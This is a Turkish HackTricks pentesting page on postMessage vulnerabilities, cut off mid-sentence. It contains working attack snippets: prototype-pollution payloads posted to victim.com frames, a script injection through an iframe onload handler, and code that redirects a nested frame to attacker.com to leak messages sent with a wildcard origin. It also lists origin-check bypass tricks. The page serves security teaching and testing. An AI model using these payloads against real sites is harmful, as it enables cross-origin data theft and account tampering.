14 KiB
PostMessage Zafiyetleri
PostMessage Zafiyetleri
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
PostMessage Gönderme
PostMessage, bir mesaj göndermek için aşağıdaki işlevi kullanır:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
targetOrigin hedefOrigin olarak adlandırılan bir '*' veya https://company.com gibi bir URL olabilir. İkinci senaryoda, mesaj yalnızca bu etki alanına gönderilebilir (pencere nesnesinin kökeni farklı olsa bile). Joker karakter kullanılırsa, mesajlar herhangi bir etki alanına gönderilebilir ve pencere nesnesinin kökenine gönderilir.
iframe ve hedefOrigin'deki joker karaktere saldırma
Bu raporda açıklandığı gibi, X-Frame-Header koruması olmayan bir sayfa bulursanız ve bu sayfa, bir joker karakteri (*) kullanarak postMessage ile duyarlı bir mesaj gönderiyorsa, iframe'in kökenini değiştirerek duyarlı mesajı size ait bir etki alanına sızdırabilirsiniz.
Sayfa iframelenebilir olsa da, hedefOrigin bir URL yerine bir joker karaktere ayarlanmışsa, bu hile işe yaramaz.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener sömürüsü
addEventListener
, JS tarafından postMessage
bekleyen fonksiyonun tanımlandığı fonksiyondur.
Aşağıdaki gibi bir kod kullanılacaktır:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Bu durumda, kodun yaptığı ilk şeyin kökeni kontrol etmek olduğuna dikkat edin. Bu, sayfanın alınan bilgilerle (örneğin şifre değiştirme gibi) duyarlı bir işlem yapacaksa son derece önemlidir. Kökeni kontrol etmezse, saldırganlar kurbanlarına bu uç noktalara keyfi veri göndermelerini sağlayabilir ve kurbanların şifrelerini değiştirebilir (bu örnekte).
Numaralandırma
Mevcut sayfadaki olay dinleyicilerini bulmak için şunları yapabilirsiniz:
- JS kodunda
window.addEventListener
ve$(window).on
(JQuery sürümü) için arama yapın. - Geliştirici araçları konsolunda şunu yürütün:
getEventListeners(window)
- Tarayıcının geliştirici araçlarında Öğeler --> Olay Dinleyicileri'ne gidin.
- https://github.com/benso-io/posta veya https://github.com/fransr/postMessage-tracker gibi bir tarayıcı eklentisi kullanın. Bu tarayıcı eklentileri, tüm iletileri yakalar ve size gösterir.
Köken kontrolü atlatmaları
-
event.isTrusted
özelliği, yalnızca gerçek kullanıcı eylemleriyle oluşturulan olaylar içinTrue
döndürdüğü için güvenli kabul edilir. Doğru bir şekilde uygulandığında atlatılması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir. -
PostMessage olaylarında köken doğrulaması için
indexOf()
yöntemi atlatılabilir olabilir. Bu zafiyeti gösteren bir örnek:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
String.prototype.search()
'den gelensearch()
yöntemi düzenli ifadeler için tasarlanmıştır, dize için değil. Düzenli ifade dışında başka bir şey geçirmek, yöntemin potansiyel olarak güvensiz olmasına neden olan bir düzenli ifadeye dönüşüm yapar. Çünkü düzenli ifadede nokta (.) bir joker karakteri olarak işlev görerek özel olarak oluşturulmuş alan adlarıyla doğrulamanın atlatılmasına izin verir. Örneğin:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
search()
gibimatch()
işlevi de düzenli ifadeleri işler. Düzenli ifade yanlış yapılandırılmışsa, atlatılabilir olabilir. -
escapeHtml
işlevi karakterleri kaçırarak girişleri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğihasOwnProperty
kabul etmeyen şekilde manipüle edilebilirse,escapeHtml
beklenildiği gibi çalışmayacaktır. Aşağıdaki örneklerde bunun nasıl gösterildiği görülebilir: -
Beklenen Başarısızlık:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Kaçırma:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Bu zafiyet bağlamında, File
nesnesi, salt okunur name
özelliği nedeniyle dikkate değer şekilde istismar edilebilir. Bu özellik, şablonlarda kullanıldığında escapeHtml
işlevi tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
- JavaScript'teki
document.domain
özelliği, bir betik tarafından etki alanını kısaltmak için ayarlanabilir ve aynı ana etki alanı içinde daha esnek aynı köken politikası uygulamasına olanak tanır.
e.origin == window.origin atlatması
Bir kumlu iframe içinde bir web sayfası gömülürken %%%